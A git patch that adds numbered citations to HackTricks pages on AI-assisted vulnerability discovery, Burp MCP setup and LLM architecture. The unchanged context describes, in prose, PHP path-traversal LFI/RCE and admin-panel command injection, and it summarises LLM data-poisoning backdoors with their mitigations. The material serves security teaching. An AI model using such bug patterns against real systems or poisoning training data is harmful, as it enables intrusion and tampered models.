From 06d6385809d2054975cd9c19f203ebce748cc589 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Thu, 6 Aug 2026 01:02:35 +0200 Subject: [PATCH] References: numbered citations for 40 pages Co-Authored-By: Claude Opus 5 (1M context) --- ...ted-Fuzzing-and-Vulnerability-Discovery.md | 20 ++++--- src/AI/AI-Burp-MCP.md | 26 ++++----- src/AI/AI-llm-architecture/1.-tokenizing.md | 7 ++- .../AI-llm-architecture/2.-data-sampling.md | 14 ++--- .../3.-token-embeddings.md | 13 ++--- .../4.-attention-mechanisms.md | 9 ++- .../5.-llm-architecture.md | 6 +- .../6.-pre-training-and-loading-models.md | 8 +-- .../7.0.-lora-improvements-in-fine-tuning.md | 5 +- .../7.1.-fine-tuning-for-classification.md | 12 ++-- src/AI/AI-llm-architecture/README.md | 6 +- src/AI/Web-Black-Box-AI-Pentester-Bots.md | 20 +++---- .../aw2exec-__malloc_hook.md | 21 +++---- .../aw2exec-__printf_arginfo_table.md | 6 +- .../common-exploiting-problems.md | 20 +++---- ...-ptrace-rfi-vm_map-prot_exec-bypass-ps5.md | 32 +++++------ .../CVE-2020-27950-mach_msg_trailer_t.md | 10 ++-- .../CVE-2021-30807-IOMobileFrameBuffer.md | 19 ++++--- ...-parser-zero-click-coreaudio-pac-bypass.md | 16 +++--- .../ios-example-heap-exploit.md | 10 ++-- .../ios-physical-uaf-iosurface.md | 9 ++- .../webkit-dfg-store-barrier-uaf-angle-oob.md | 17 +++--- .../libc-heap/fast-bin-attack.md | 21 +++++-- .../libc-heap/heap-overflow.md | 29 ++++++---- .../libc-heap/house-of-lore.md | 10 ++-- .../libc-heap/house-of-spirit.md | 15 +++-- .../libc-heap/large-bin-attack.md | 12 +++- .../libc-heap/off-by-one-overflow.md | 30 +++++----- .../libc-heap/tcache-bin-attack.md | 40 +++++++------ .../libc-heap/unlink-attack.md | 16 +++--- .../libc-heap/unsorted-bin-attack.md | 26 ++++----- ...lbox-slirp-nat-packet-heap-exploitation.md | 14 ++--- ...x-sds-rb-priv-bypass-gpu-smmu-kernel-rw.md | 20 +++---- ...gwave-bigo-job-timeout-uaf-kernel-write.md | 26 ++++----- .../vmware-workstation-pvscsi-lfh-escape.md | 22 +++---- src/crypto/public-key/rsa/README.md | 20 +++---- src/crypto/symmetric/README.md | 8 +-- .../xss-cross-site-scripting/dom-xss.md | 57 ++++++++++++------- .../other-js-tricks.md | 11 +++- .../xss-cross-site-scripting/pdf-injection.md | 11 ++-- 40 files changed, 383 insertions(+), 311 deletions(-) diff --git a/src/AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md b/src/AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md index c9ca7187f55..051f5b6aeff 100644 --- a/src/AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md +++ b/src/AI/AI-Assisted-Fuzzing-and-Vulnerability-Discovery.md @@ -3,7 +3,7 @@ {{#include ../banners/hacktricks-training.md}} ## Overview -Large-language models (LLMs) can super-charge traditional vulnerability-research pipelines by generating semantically rich inputs, evolving grammars, reasoning over crash data, and even proposing multi-bug patches. This page collects the most effective patterns observed during DARPA’s AI Cyber Challenge (AIxCC) finals and other public research. +Large-language models (LLMs) can super-charge traditional vulnerability-research pipelines by generating semantically rich inputs, evolving grammars, reasoning over crash data, and even proposing multi-bug patches. This page collects the most effective patterns observed during DARPA’s AI Cyber Challenge (AIxCC) finals and other public research.[[4]](#references)[[5]](#references) What follows is not a description of one specific competition system, but an abstraction of the techniques so you can reproduce them in your own workflows. @@ -135,7 +135,7 @@ Implement a queue where confirmed PoV-validated patches and *speculative* patche ## 6. Deterministic File-by-File AI Code Review -A frequent failure mode in AI-assisted review is asking one agent to inspect a whole repository and hoping it chooses the right files and grep terms. A more reliable pattern is to **force repository coverage**: +A frequent failure mode in AI-assisted review is asking one agent to inspect a whole repository and hoping it chooses the right files and grep terms. A more reliable pattern is to **force repository coverage**:[[1]](#references) 1. Enumerate source files. 2. Send **one file at a time** plus minimal context (entrypoint, imports, nearby routes/callers). @@ -152,8 +152,8 @@ This is token-heavy and noisy, but it is very effective at surfacing **simple hi ### Two practical bug classes this method finds well -- **PHP controller-dispatch LFI/RCE**: if a request-controlled controller name is concatenated into `require_once()` with no allowlist/path normalisation, traversal sequences such as `../` can make PHP include an unintended local `.php` file. If the attacker can point the include at a planted or otherwise useful PHP file, the LFI becomes code execution. See [File Inclusion / Path Traversal](../pentesting-web/file-inclusion/README.md). -- **Authenticated command injection in hosting/admin panels**: if account-management fields such as usernames are embedded into shell commands, a low-privileged authenticated user may turn a normal create/delete action into RCE. The impact increases when the panel executes the command as a more privileged service account. See [Command Injection](../pentesting-web/command-injection.md). +- **PHP controller-dispatch LFI/RCE**: if a request-controlled controller name is concatenated into `require_once()` with no allowlist/path normalisation, traversal sequences such as `../` can make PHP include an unintended local `.php` file. If the attacker can point the include at a planted or otherwise useful PHP file, the LFI becomes code execution. See [File Inclusion / Path Traversal](../pentesting-web/file-inclusion/README.md).[[1]](#references) +- **Authenticated command injection in hosting/admin panels**: if account-management fields such as usernames are embedded into shell commands, a low-privileged authenticated user may turn a normal create/delete action into RCE. The impact increases when the panel executes the command as a more privileged service account. See [Command Injection](../pentesting-web/command-injection.md).[[1]](#references) ### Practical review notes @@ -183,9 +183,11 @@ graph TD --- ## References -* [Project Black - Local AI for Cyber Security: Finding phpIPAM LFI and myVesta Authenticated RCE](https://projectblack.io/blog/local-ai-for-cyber-security) -* [Strix](https://github.com/usestrix/strix) -* [GitHub Copilot community security-review skill](https://github.com/github/awesome-copilot/blob/main/skills/security-review/SKILL.md) -* [Trail of Bits – AIxCC finals: Tale of the tape](https://blog.trailofbits.com/2025/08/07/aixcc-finals-tale-of-the-tape/) -* [CTF Radiooo AIxCC finalist interviews](https://www.youtube.com/@ctfradiooo) + +- [1] [Project Black - Local AI for Cyber Security: Finding phpIPAM LFI and myVesta Authenticated RCE](https://projectblack.io/blog/local-ai-for-cyber-security) +- [2] [Strix](https://github.com/usestrix/strix) +- [3] [GitHub Copilot community security-review skill](https://github.com/github/awesome-copilot/blob/main/skills/security-review/SKILL.md) +- [4] [Trail of Bits – AIxCC finals: Tale of the tape](https://blog.trailofbits.com/2025/08/07/aixcc-finals-tale-of-the-tape/) +- [5] [CTF Radiooo AIxCC finalist interviews](https://www.youtube.com/@ctfradiooo) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/AI/AI-Burp-MCP.md b/src/AI/AI-Burp-MCP.md index ca53ccea627..0e9cac26896 100644 --- a/src/AI/AI-Burp-MCP.md +++ b/src/AI/AI-Burp-MCP.md @@ -4,7 +4,7 @@ ## Overview -Burp's **MCP Server** extension can expose intercepted HTTP(S) traffic to MCP-capable LLM clients so they can **reason over real requests/responses** for passive vulnerability discovery and report drafting. The intent is evidence-driven review (no fuzzing or blind scanning), keeping Burp as the source of truth. +Burp's **MCP Server** extension can expose intercepted HTTP(S) traffic to MCP-capable LLM clients so they can **reason over real requests/responses** for passive vulnerability discovery and report drafting. The intent is evidence-driven review (no fuzzing or blind scanning), keeping Burp as the source of truth.[[1]](#references) ## Architecture @@ -17,7 +17,7 @@ Burp's **MCP Server** extension can expose intercepted HTTP(S) traffic to MCP-ca ### 1) Install Burp MCP Server -Install **MCP Server** from the Burp BApp Store and verify it is listening on `127.0.0.1:9876`. +Install **MCP Server** from the Burp BApp Store and verify it is listening on `127.0.0.1:9876`.[[3]](#references) ### 2) Extract the proxy JAR @@ -25,7 +25,7 @@ In the MCP Server tab, click **Extract server proxy jar** and save `mcp-proxy.ja ### 3) Configure an MCP client (Codex example) -Point the client to the proxy JAR and Burp's SSE endpoint: +Point the client to the proxy JAR and Burp's SSE endpoint:[[1]](#references) ```toml # ~/.codex/config.toml @@ -43,7 +43,7 @@ codex ### 4) Fix strict Origin/header validation with Caddy (if needed) -If the MCP handshake fails due to strict `Origin` checks or extra headers, use a local reverse proxy to normalize headers (this matches the workaround for the Burp MCP strict validation issue). +If the MCP handshake fails due to strict `Origin` checks or extra headers, use a local reverse proxy to normalize headers (this matches the workaround for the Burp MCP strict validation issue).[[1]](#references)[[4]](#references) ```bash brew install caddy @@ -81,7 +81,7 @@ codex ### Gemini CLI -The **burp-mcp-agents** repo provides launcher helpers: +The **burp-mcp-agents** repo provides launcher helpers:[[2]](#references) ```bash source /path/to/burp-mcp-agents/gemini-cli/burpgemini.sh @@ -105,7 +105,7 @@ Example local models and approximate VRAM needs: ## Prompt pack for passive review -The **burp-mcp-agents** repo includes prompt templates for evidence-driven analysis of Burp traffic: +The **burp-mcp-agents** repo includes prompt templates for evidence-driven analysis of Burp traffic:[[2]](#references) - `passive_hunter.md`: broad passive vulnerability surfacing. - `idor_hunter.md`: IDOR/BOLA/object/tenant drift and auth mismatches. @@ -133,7 +133,7 @@ Replace: User-Agent: $1 BugBounty-Username ## Burp AI Agent (AI-assisted triage + MCP tools) -**Burp AI Agent** is a Burp extension that couples local/cloud LLMs with passive/active analysis (62 vulnerability classes) and exposes 53+ MCP tools so external MCP clients can orchestrate Burp. Highlights: +**Burp AI Agent** is a Burp extension that couples local/cloud LLMs with passive/active analysis (62 vulnerability classes) and exposes 53+ MCP tools so external MCP clients can orchestrate Burp. Highlights:[[5]](#references) - **Context-menu triage**: capture traffic via Proxy, open **Proxy > HTTP History**, right-click a request → **Extensions > Burp AI Agent > Analyze this request** to spawn an AI chat bound to that request/response. - **Backends** (selectable per profile): @@ -153,14 +153,14 @@ JAVA_HOME=/path/to/jdk-21 ./gradlew clean shadowJar # load build/libs/Burp-AI-Agent-.jar via Burp Extensions > Add (Java) ``` -Operational cautions: cloud backends may exfiltrate session cookies/PII unless privacy mode is enforced; MCP exposure grants remote orchestration of Burp so restrict access to trusted agents and monitor the integrity-hashed audit log. +Operational cautions: cloud backends may exfiltrate session cookies/PII unless privacy mode is enforced; MCP exposure grants remote orchestration of Burp so restrict access to trusted agents and monitor the integrity-hashed audit log.[[5]](#references) ## References -- [Burp MCP + Codex CLI integration and Caddy handshake fix](https://pentestbook.six2dez.com/others/burp) -- [Burp MCP Agents (workflows, launchers, prompt pack)](https://github.com/six2dez/burp-mcp-agents) -- [Burp MCP Server BApp](https://portswigger.net/bappstore/9952290f04ed4f628e624d0aa9dccebc) -- [PortSwigger MCP server strict Origin/header validation issue](https://github.com/PortSwigger/mcp-server/issues/34) -- [Burp AI Agent](https://github.com/six2dez/burp-ai-agent) +- [1] [Burp MCP + Codex CLI integration and Caddy handshake fix](https://pentestbook.six2dez.com/others/burp) +- [2] [Burp MCP Agents (workflows, launchers, prompt pack)](https://github.com/six2dez/burp-mcp-agents) +- [3] [Burp MCP Server BApp](https://portswigger.net/bappstore/9952290f04ed4f628e624d0aa9dccebc) +- [4] [PortSwigger MCP server strict Origin/header validation issue](https://github.com/PortSwigger/mcp-server/issues/34) +- [5] [Burp AI Agent](https://github.com/six2dez/burp-ai-agent) {{#include ../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/1.-tokenizing.md b/src/AI/AI-llm-architecture/1.-tokenizing.md index 2c29f7c2b86..2f4c5304527 100644 --- a/src/AI/AI-llm-architecture/1.-tokenizing.md +++ b/src/AI/AI-llm-architecture/1.-tokenizing.md @@ -4,7 +4,7 @@ ## Tokenizing -**Tokenizing** is the process of breaking down data, such as text, into smaller, manageable pieces called _tokens_. Each token is then assigned a unique numerical identifier (ID). This is a fundamental step in preparing text for processing by machine learning models, especially in natural language processing (NLP). +**Tokenizing** is the process of breaking down data, such as text, into smaller, manageable pieces called _tokens_. Each token is then assigned a unique numerical identifier (ID). This is a fundamental step in preparing text for processing by machine learning models, especially in natural language processing (NLP).[[1]](#references) > [!TIP] > The goal of this initial phase is very simple: **Divide the input in tokens (ids) in some way that makes sense**. @@ -73,7 +73,7 @@ While the basic tokenizer works well for simple texts, it has limitations, espec ## Code Example -Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): +Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):[[2]](#references) ```python # Download a text to pre-train the model @@ -96,7 +96,8 @@ print(token_ids[:50]) ## References -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) +- [1] [Build a Large Language Model (From Scratch)](https://www.manning.com/books/build-a-large-language-model-from-scratch) +- [2] [LLMs-from-scratch - ch02 tokenizer notebook](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/2.-data-sampling.md b/src/AI/AI-llm-architecture/2.-data-sampling.md index e1c3a1aa259..826c9b72158 100644 --- a/src/AI/AI-llm-architecture/2.-data-sampling.md +++ b/src/AI/AI-llm-architecture/2.-data-sampling.md @@ -103,7 +103,7 @@ Using the same tokenized text and `max_length` of 4: ## Code Example -Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): +Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):[[1]](#references) ```python # Download the text to pre-train the LLM @@ -248,7 +248,7 @@ p(i) = \frac{w_i^{\alpha}}{\sum_j w_j^{\alpha}} • *wi* – raw token percentage of corpus *i* • *α* ("temperature") – a value in (0,1]. α < 1 flattens the distribution, giving more weight to smaller high-quality corpora. -Llama 2 used α = 0.7 and showed that decreasing α boosted evaluation scores on knowledge-heavy tasks while keeping the training mix stable. The same trick is adopted by Mistral (2023) and Claude 3. +Llama 2 used α = 0.7 and showed that decreasing α boosted evaluation scores on knowledge-heavy tasks while keeping the training mix stable.[[2]](#references) The same trick is adopted by Mistral (2023) and Claude 3. ```python from collections import Counter @@ -277,12 +277,12 @@ Repeated passages cause memorization and provide an easy channel for data-poison 2. Filter documents whose perplexity under a small reference model is > µ + 3σ (noisy OCR, garbled HTML). 3. Block-list documents that contain PII or CWE keywords using regex & spaCy NER. -The Llama 2 team deduplicated with 8-gram MinHash and removed ~15 % of CommonCrawl before sampling. OpenAI’s 2024 "Deduplicate Everything" paper demonstrates ≤0.04 duplicate ratio reduces over-fitting and speeds convergence. +The Llama 2 team deduplicated with 8-gram MinHash and removed ~15 % of CommonCrawl before sampling.[[2]](#references) OpenAI’s 2024 "Deduplicate Everything" paper demonstrates ≤0.04 duplicate ratio reduces over-fitting and speeds convergence. ## Security & Privacy Considerations During Sampling ### Data-Poisoning / Backdoor Attacks -Researchers showed that inserting <1 % backdoored sentences can make a model obey a hidden trigger ("PoisonGPT", 2023). Recommended mitigations: +Researchers showed that inserting <1 % backdoored sentences can make a model obey a hidden trigger ("PoisonGPT", 2023).[[3]](#references) Recommended mitigations: * **Shuffled mixing** – make sure adjacent training examples originate from different sources; this dilutes gradient alignment of malicious spans. * **Gradient similarity scoring** – compute cosine similarity of example gradient to batch average; outliers are candidates for removal. @@ -300,8 +300,8 @@ Practical recommendations: ## References -- [Build a Large Language Model from Scratch (Manning, 2024)](https://www.manning.com/books/build-a-large-language-model-from-scratch) -- [Llama 2: Open Foundation and Fine-Tuned Chat Models (2023)](https://arxiv.org/abs/2307.09288) -- [PoisonGPT: Assessing Backdoor Vulnerabilities in Large Language Models (BlackHat EU 2023)](https://arxiv.org/abs/2308.12364) +- [1] [Build a Large Language Model from Scratch (Manning, 2024)](https://www.manning.com/books/build-a-large-language-model-from-scratch) +- [2] [Llama 2: Open Foundation and Fine-Tuned Chat Models (2023)](https://arxiv.org/abs/2307.09288) +- [3] [PoisonGPT: Assessing Backdoor Vulnerabilities in Large Language Models (BlackHat EU 2023)](https://arxiv.org/abs/2308.12364) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/3.-token-embeddings.md b/src/AI/AI-llm-architecture/3.-token-embeddings.md index 7bb2d1b3302..86f34abcc4a 100644 --- a/src/AI/AI-llm-architecture/3.-token-embeddings.md +++ b/src/AI/AI-llm-architecture/3.-token-embeddings.md @@ -185,7 +185,7 @@ For how token and positional embeddings are combined inside the model, see [the Recent work shows that context length is often limited by the positional encoding scheme rather than the token embedding matrix itself. -- **Position Interpolation (PI):** Rescales position indices so longer sequences map into the range seen during training, enabling extension with minimal fine-tuning. Example: +- **Position Interpolation (PI):** Rescales position indices so longer sequences map into the range seen during training, enabling extension with minimal fine-tuning. Example:[[2]](#references) ```python # Position Interpolation (PI) intuition @@ -194,11 +194,11 @@ new_ctx = 8192 scaled_pos = pos * (orig_ctx / new_ctx) ``` -- **YaRN:** A compute-efficient RoPE extension strategy that modifies RoPE scaling/interpolation to extrapolate to longer contexts with fewer additional training steps. +- **YaRN:** A compute-efficient RoPE extension strategy that modifies RoPE scaling/interpolation to extrapolate to longer contexts with fewer additional training steps.[[3]](#references) ## Code Example -Following with the code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb): +Following with the code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):[[1]](#references) ```python # Use previous code... @@ -239,9 +239,8 @@ print(input_embeddings.shape) # torch.Size([8, 4, 256]) ## References -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) +- [1] [Build a Large Language Model from Scratch (Manning)](https://www.manning.com/books/build-a-large-language-model-from-scratch) +- [2] [Extending Context Window of Large Language Models via Positional Interpolation](https://arxiv.org/abs/2306.15595) +- [3] [YaRN: Efficient Context Window Extension of Large Language Models](https://arxiv.org/abs/2309.00071) - -- [https://arxiv.org/abs/2306.15595](https://arxiv.org/abs/2306.15595) -- [https://arxiv.org/abs/2309.00071](https://arxiv.org/abs/2309.00071) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md index 76aa936d72e..8832e9435db 100644 --- a/src/AI/AI-llm-architecture/4.-attention-mechanisms.md +++ b/src/AI/AI-llm-architecture/4.-attention-mechanisms.md @@ -188,7 +188,7 @@ Like in the initial example, just sum all the values matrices multiplying each o ### Code Example -Grabbing an example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) you can check this class that implements the self-attendant functionality we talked about: +Grabbing an example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) you can check this class that implements the self-attendant functionality we talked about:[[1]](#references) ```python import torch @@ -269,7 +269,7 @@ A regular dropout is about 10-20%. ### Code Example -Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb): +Code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb):[[1]](#references) ```python import torch @@ -339,7 +339,7 @@ print("context_vecs.shape:", context_vecs.shape) ### Code Example -It could be possible to reuse the previous code and just add a wrapper that launches it several time, but this is a more optimised version from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) that processes all the heads at the same time (reducing the number of expensive for loops). As you can see in the code, the dimensions of each token is divided in different dimensions according to the number of heads. This way if token have 8 dimensions and we want to use 3 heads, the dimensions will be divided in 2 arrays of 4 dimensions and each head will use one of them: +It could be possible to reuse the previous code and just add a wrapper that launches it several time, but this is a more optimised version from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01_main-chapter-code/ch03.ipynb) that processes all the heads at the same time (reducing the number of expensive for loops). As you can see in the code, the dimensions of each token is divided in different dimensions according to the number of heads. This way if token have 8 dimensions and we want to use 3 heads, the dimensions will be divided in 2 arrays of 4 dimensions and each head will use one of them:[[1]](#references) ```python class MultiHeadAttention(nn.Module): @@ -427,7 +427,6 @@ For another compact and efficient implementation you could use the [`torch.nn.Mu ## References -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) - +- [1] [Build a Large Language Model from Scratch (Manning)](https://www.manning.com/books/build-a-large-language-model-from-scratch) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/5.-llm-architecture.md b/src/AI/AI-llm-architecture/5.-llm-architecture.md index dc828838326..045023b5726 100644 --- a/src/AI/AI-llm-architecture/5.-llm-architecture.md +++ b/src/AI/AI-llm-architecture/5.-llm-architecture.md @@ -23,7 +23,7 @@ A high level representation can be observed in: - **Feed Forward Layer**: Responsible for processing the information from the attention layer and making predictions about the next token. - **Dropout Layers**: These layers prevent overfitting by randomly dropping units during training. 4. **Final Output Layer**: The model outputs a **4x50,257-dimensional tensor**, where **50,257** represents the size of the vocabulary. Each row in this tensor corresponds to a vector that the model uses to predict the next word in the sequence. -5. **Goal**: The objective is to take these embeddings and convert them back into text. Specifically, the last row of the output is used to generate the next word, represented as "forward" in this diagram. +5. **Goal**: The objective is to take these embeddings and convert them back into text. Specifically, the last row of the output is used to generate the next word, represented as "forward" in this diagram.[[1]](#references) ### Code representation @@ -642,7 +642,7 @@ total_params = 163,009,536 ## Generate Text -Having a model that predicts the next token like the one before, it's just needed to take the last token values from the output (as they will be the ones of the predicted token), which will be a **value per entry in the vocabulary** and then use the `softmax` function to normalize the dimensions into probabilities that sums 1 and then get the index of the of the biggest entry, which will be the index of the word inside the vocabulary. +Having a model that predicts the next token like the one before, it's just needed to take the last token values from the output (as they will be the ones of the predicted token), which will be a **value per entry in the vocabulary** and then use the `softmax` function to normalize the dimensions into probabilities that sums 1 and then get the index of the of the biggest entry, which will be the index of the word inside the vocabulary.[[1]](#references) Code from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb): @@ -699,7 +699,7 @@ print("Output length:", len(out[0])) ## References -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) +- [1] [Build a Large Language Model (From Scratch) - Manning](https://www.manning.com/books/build-a-large-language-model-from-scratch) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md index 402db80b743..0650d2f2fd4 100644 --- a/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md +++ b/src/AI/AI-llm-architecture/6.-pre-training-and-loading-models.md @@ -1020,7 +1020,7 @@ model.to(device) model.eval() ``` -This is specially useful when loading multi-GB checkpoints on a workstation because it reduces RAM spikes during startup. +This is specially useful when loading multi-GB checkpoints on a workstation because it reduces RAM spikes during startup.[[1]](#references) ## Loading GPT2 weights @@ -1047,7 +1047,7 @@ model = AutoModelForCausalLM.from_pretrained( ) ``` -`device_map="auto"` is very handy when the full checkpoint doesn't fit in one accelerator because the loader can spread layers across GPU / CPU memory. For large repositories, `save_pretrained(..., max_shard_size="5GB")` or the equivalent Hub checkpoints generate **sharded checkpoints** plus an index, allowing them to be loaded incrementally instead of requiring one huge file in RAM. +`device_map="auto"` is very handy when the full checkpoint doesn't fit in one accelerator because the loader can spread layers across GPU / CPU memory. For large repositories, `save_pretrained(..., max_shard_size="5GB")` or the equivalent Hub checkpoints generate **sharded checkpoints** plus an index, allowing them to be loaded incrementally instead of requiring one huge file in RAM.[[2]](#references) If you need to inspect or slice tensors without loading the whole file, `safetensors` also supports partial reads: @@ -1062,8 +1062,8 @@ with safe_open("model.safetensors", framework="pt", device="cpu") as f: ## References -- [https://docs.pytorch.org/docs/stable/notes/serialization.html](https://docs.pytorch.org/docs/stable/notes/serialization.html) -- [https://huggingface.co/docs/transformers/main/big_models](https://huggingface.co/docs/transformers/main/big_models) +- [1] [Serialization semantics - PyTorch documentation](https://docs.pytorch.org/docs/stable/notes/serialization.html) +- [2] [Instantiating a big model - Hugging Face Transformers documentation](https://huggingface.co/docs/transformers/main/big_models) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md index 3955d432a7c..b721538a60a 100644 --- a/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md +++ b/src/AI/AI-llm-architecture/7.0.-lora-improvements-in-fine-tuning.md @@ -17,7 +17,7 @@ LoRA makes it possible to fine-tune **large models** efficiently by only changin 2. **Keeps Original Model Weights Unchanged**: LoRA allows you to keep the original model weights the same, and only updates the **new small matrices** (A and B). This is helpful because it means the model’s original knowledge is preserved, and you only tweak what's necessary. 3. **Efficient Task-Specific Fine-Tuning**: When you want to adapt the model to a **new task**, you can just train the **small LoRA matrices** (A and B) while leaving the rest of the model as it is. This is **much more efficient** than retraining the entire model. -4. **Storage Efficiency**: After fine-tuning, instead of saving a **whole new model** for each task, you only need to store the **LoRA matrices**, which are very small compared to the entire model. This makes it easier to adapt the model to many tasks without using too much storage. +4. **Storage Efficiency**: After fine-tuning, instead of saving a **whole new model** for each task, you only need to store the **LoRA matrices**, which are very small compared to the entire model. This makes it easier to adapt the model to many tasks without using too much storage.[[1]](#references)[[2]](#references) In order to implemente LoraLayers instead of Linear ones during a fine tuning, this code is proposed here [https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/appendix-E/01_main-chapter-code/appendix-E.ipynb): @@ -62,6 +62,7 @@ def replace_linear_with_lora(model, rank, alpha): ## References -- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch) +- [1] [LoRA: Low-Rank Adaptation of Large Language Models](https://arxiv.org/abs/2106.09685) +- [2] [Build a Large Language Model (From Scratch) - Manning](https://www.manning.com/books/build-a-large-language-model-from-scratch) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md index efeba7a4557..7db6c3898b5 100644 --- a/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md +++ b/src/AI/AI-llm-architecture/7.1.-fine-tuning-for-classification.md @@ -18,7 +18,7 @@ Fine-tuning is the process of taking a **pre-trained model** that has learned ** Of course, in order to fine-tune a model you need some structured data to use to specialise your LLM. In the example proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch06/01_main-chapter-code/ch06.ipynb), GPT2 is fine tuned to detect if an email is spam or not using the data from [https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip](https://archive.ics.uci.edu/static/public/228/sms+spam+collection.zip)_._ -This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each. +This data set contains much more examples of "not spam" that of "spam", therefore the book suggest to **only use as many examples of "not spam" as of "spam"** (therefore, removing from the training data all the extra examples). In this case, this was 747 examples of each.[[1]](#references) Then, **70%** of the data set is used for **training**, **10%** for **validation** and **20%** for **testing**. @@ -28,7 +28,7 @@ Then, **70%** of the data set is used for **training**, **10%** for **validation ### Entries length -As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding. +As the training example expects entries (emails text in this case) of the same length, it was decided to make every entry as large as the largest one by adding the ids of `<|endoftext|>` as padding.[[1]](#references) ### Initialize the model @@ -36,7 +36,7 @@ Using the open-source pre-trained weights initialize the model to train. We have ## Classification head -In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words). +In this specific example (predicting if a text is spam or not), we are not interested in fine tune according to the complete vocabulary of GPT2 but we only want the new model to say if the email is spam (1) or not (0). Therefore, we are going to **modify the final layer that** gives the probabilities per token of the vocabulary for one that only gives the probabilities of being spam or not (so like a vocabulary of 2 words).[[1]](#references) ```python # This code modified the final layer with a Linear one with 2 outs @@ -51,7 +51,7 @@ out_features=num_classes ## Parameters to tune -In order to fine tune fast it's easier to not fine tune all the 